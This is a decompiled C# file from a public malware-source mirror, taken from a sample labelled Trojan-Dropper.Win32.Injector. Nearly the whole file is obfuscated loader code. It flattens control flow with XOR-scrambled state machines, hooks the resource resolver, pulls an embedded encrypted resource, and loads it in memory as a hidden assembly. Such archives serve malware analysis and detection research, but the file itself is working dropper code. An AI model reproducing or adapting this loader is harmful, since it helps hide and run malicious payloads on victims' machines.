mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
499 lines
13 KiB
C#
499 lines
13 KiB
C#
// Decompiled with JetBrains decompiler
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// Type:
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// Assembly: Feon, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
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// MVID: AF8034ED-5A2C-4122-9E1B-F560737FA983
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e.exe
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using System;
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using System.IO;
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using System.Reflection;
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using System.Threading;
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internal sealed class \uE009
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{
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private static Assembly \uE000;
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private static object \uE001 = new object();
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private static int \uE002;
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private static string[] \uE003;
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public static void \uE000()
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{
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if ((\uE009.\uE002 == 0 ? 0 : 1) != 0)
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return;
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try
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{
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Monitor.Enter(\uE009.\uE001);
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if ((\uE009.\uE002 == 0 ? 0 : 1) != 0)
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return;
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label_19:
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int num1 = -226195680;
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int num2 = -561798657;
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label_3:
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while (true)
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{
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num2 ^= 555203725;
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label_11:
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int num3 = 968784119;
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int num4 = -376123481;
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label_5:
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while (true)
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{
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num4 ^= 370221929;
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label_7:
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int num5 = 169643759;
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while (true)
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{
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switch (num5 ^ 170977803)
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{
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case 2909411:
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label_8:
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num4 = -376123484;
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num5 = 169643758;
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continue;
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case 2909412:
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switch (num4 + 8000308)
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{
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case 0:
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goto label_11;
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case 1:
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switch (num3)
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{
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case 1949493:
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label_14:
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num2 = -561798659;
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num3 = 968784118;
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goto label_4;
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case 1949494:
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switch (num2 + 7070352)
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{
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case 0:
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switch (num1 + 5290868)
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{
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case 0:
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AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\uE009.\uE001);
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num1 = -226195679;
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goto label_2;
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case 1:
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goto label_22;
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default:
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goto label_18;
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}
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case 1:
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goto label_19;
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case 2:
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label_2:
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num1 ^= 220971948;
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goto label_14;
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default:
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num3 = 968784116;
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goto label_4;
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}
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case 1949495:
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goto label_3;
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default:
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goto label_13;
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}
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case 2:
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label_4:
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num3 ^= 967034817;
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goto label_8;
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default:
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num5 = 169643752;
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continue;
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}
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case 2909413:
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goto label_5;
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default:
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goto label_7;
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}
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}
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label_13:
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num4 = -376123483;
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}
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label_18:
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num2 = -561798660;
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}
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label_22:
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\uE009.\uE002 = 1;
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}
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finally
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{
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Monitor.Exit(\uE009.\uE001);
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}
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}
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public static string \uE000 => "62f0133a150a1286";
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public static Assembly \uE001(object _param0, ResolveEventArgs _param1)
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{
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if ((\uE009.\uE003 == null ? 0 : 1) == 0)
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{
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try
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{
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Monitor.Enter(\uE009.\uE001);
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if ((\uE009.\uE003 == null ? 0 : 1) == 0)
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{
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label_15:
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int num1 = 1319863694;
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int num2 = -1247360233;
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label_3:
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Stream manifestResourceStream;
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while (true)
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{
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num2 ^= 1242423639;
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label_7:
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int num3 = 1536961512;
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int num4 = -942752411;
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while (true)
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{
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switch ((num4 ^ 946906395) + 4319108)
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{
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case 0:
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goto label_7;
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case 1:
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switch (num3)
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{
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case 2222797:
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label_10:
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num2 = -1247360152;
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num3 = 1536961513;
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goto label_4;
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case 2222798:
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switch (num2 + 5559746)
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{
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case 0:
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goto label_15;
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case 1:
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switch (num1)
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{
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case 3571212:
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manifestResourceStream = typeof (\uE009).Assembly.GetManifestResourceStream(\uE009.\uE000);
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num1 = 1319863695;
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goto label_2;
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case 3571213:
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if (manifestResourceStream != null)
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{
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num1 = 1319863692;
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goto label_2;
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}
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else
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goto label_22;
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case 3571214:
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goto label_21;
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default:
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goto label_17;
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}
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case 2:
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label_2:
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num1 ^= 1318976386;
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goto label_10;
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default:
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label_13:
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int num5 = 357788384;
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while (true)
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{
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switch (num5 ^ 357216823)
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{
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case 1693911:
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num3 = 1536961515;
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num5 = 357788399;
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continue;
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case 1693912:
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goto label_4;
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default:
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goto label_13;
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}
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}
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}
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case 2222799:
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goto label_3;
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default:
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num4 = -942752409;
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continue;
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}
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case 2:
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label_4:
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num3 ^= 1539162406;
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break;
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}
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num4 = -942752410;
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}
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label_17:
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num2 = -1247360151;
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}
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label_21:
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int num6 = 0;
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goto label_23;
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label_22:
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num6 = 1;
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label_23:
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if (num6 == 0)
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\uE009.\uE000 = \uE009.\uE002(manifestResourceStream);
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}
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}
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finally
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{
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Monitor.Exit(\uE009.\uE001);
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}
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}
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return (!\uE009.\uE003(_param1.Name) ? 1 : 0) == 0 ? \uE009.\uE000 : (Assembly) null;
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}
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private static Assembly \uE002(Stream _param0)
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{
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MemoryStream input = \uE011.\uE000(_param0);
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BinaryReader binaryReader = new BinaryReader((Stream) input);
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label_2:
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int num1 = -976949257;
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int length;
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int index;
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string[] strArray;
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while (true)
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{
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switch ((num1 ^ 979141528) + 6787986)
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{
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case 0:
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strArray = new string[length];
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num1 = -976949272;
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continue;
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case 1:
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length = binaryReader.ReadInt32();
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num1 = -976949258;
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continue;
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case 2:
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index = 0;
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num1 = -976949271;
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continue;
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case 3:
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if (index != 0)
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{
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num1 = -976949270;
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continue;
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}
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goto label_9;
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case 4:
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goto label_8;
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default:
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goto label_2;
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}
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}
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label_8:
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int num2 = 0;
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goto label_10;
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label_9:
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num2 = 1;
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label_10:
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if (num2 != 0)
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goto label_12;
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label_11:
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strArray[index] = binaryReader.ReadString();
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++index;
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label_12:
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if ((index >= length ? 0 : 1) == 0)
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{
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\uE009.\uE003 = strArray;
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label_25:
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int num3 = -143477510;
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int num4 = -1430655755;
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label_15:
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byte[] numArray;
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while (true)
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{
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num4 ^= 1426872453;
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label_19:
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int num5 = -80790779;
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int num6 = -1051659499;
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while (true)
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{
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switch ((num6 ^ 1053901982) + 8276087)
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{
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case 0:
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goto label_19;
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case 1:
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switch (num5 + 7895701)
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{
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case 0:
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label_22:
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num4 = -1430655766;
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num5 = -80790780;
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goto label_16;
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case 1:
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switch (num4 + 4869010)
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{
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case 0:
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goto label_25;
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case 1:
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int count;
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switch (num3 + 4299732)
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{
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case 0:
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numArray = new byte[count];
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num3 = -143477511;
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goto label_14;
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case 1:
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binaryReader.Read(numArray, 0, count);
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num3 = -143477509;
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goto label_14;
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case 2:
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count = (int) (input.Length - input.Position);
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num3 = -143477512;
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goto label_14;
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case 3:
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goto label_31;
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default:
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goto label_27;
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}
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case 2:
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label_14:
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num3 ^= 147640532;
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goto label_22;
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default:
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num5 = -80790782;
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goto label_16;
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}
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case 2:
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goto label_15;
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default:
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num6 = -1051659497;
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continue;
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}
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case 2:
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label_16:
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num5 ^= 78167657;
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break;
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}
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num6 = -1051659500;
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}
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label_27:
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num4 = -1430655765;
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}
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label_31:
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return Assembly.Load(numArray);
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}
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goto label_11;
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}
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private static bool \uE003(string _param0)
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{
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if ((\uE009.\uE003 == null ? 1 : 0) == 0)
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{
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label_6:
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int num1 = 1477415917;
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int num2 = 601725783;
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int index;
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string[] strArray;
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while (true)
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{
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switch (num2 ^ 602759493)
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{
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case 3209744:
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switch (num1)
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{
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case 3757452:
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if (index != 0)
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{
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num1 = 1477415916;
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goto label_1;
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}
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else
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goto label_12;
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case 3757453:
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index = 0;
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num1 = 1477415919;
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goto label_1;
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case 3757454:
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strArray = \uE009.\uE003;
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num1 = 1477415918;
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goto label_1;
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case 3757455:
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goto label_11;
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default:
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num2 = 601725780;
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continue;
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}
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case 3209745:
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goto label_6;
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case 3209746:
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label_1:
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num1 ^= 1479984739;
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break;
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}
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num2 = 601725781;
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}
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label_11:
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int num3 = 0;
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goto label_13;
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label_12:
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num3 = 1;
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label_13:
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if (num3 != 0)
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goto label_27;
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label_14:
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string str = strArray[index];
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if ((!_param0.Equals(str) ? 1 : 0) == 0)
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{
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label_22:
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int num4 = -311275153;
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int num5 = 878119074;
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label_16:
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bool flag;
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while (true)
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{
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num5 ^= 880632524;
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label_18:
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int num6 = -433645422;
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while (true)
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{
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switch ((num6 ^ 431101690) + 7008665)
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{
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case 0:
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label_19:
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num5 = 878119073;
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num6 = -433645421;
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continue;
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case 1:
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switch (num5)
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{
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case 2779756:
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goto label_22;
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case 2779757:
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switch (num4 + 4671099)
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{
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case 0:
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flag = true;
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num4 = -311275156;
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goto label_15;
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case 1:
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goto label_29;
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default:
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goto label_24;
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}
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case 2779758:
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label_15:
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num4 ^= 315287786;
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goto label_19;
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default:
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num6 = -433645411;
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continue;
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}
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case 2:
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goto label_16;
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default:
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goto label_18;
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}
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}
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label_24:
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num5 = 878119072;
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}
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label_29:
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return flag;
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}
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++index;
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label_27:
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if ((index >= strArray.Length ? 0 : 1) != 0)
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goto label_14;
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}
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return false;
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}
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}
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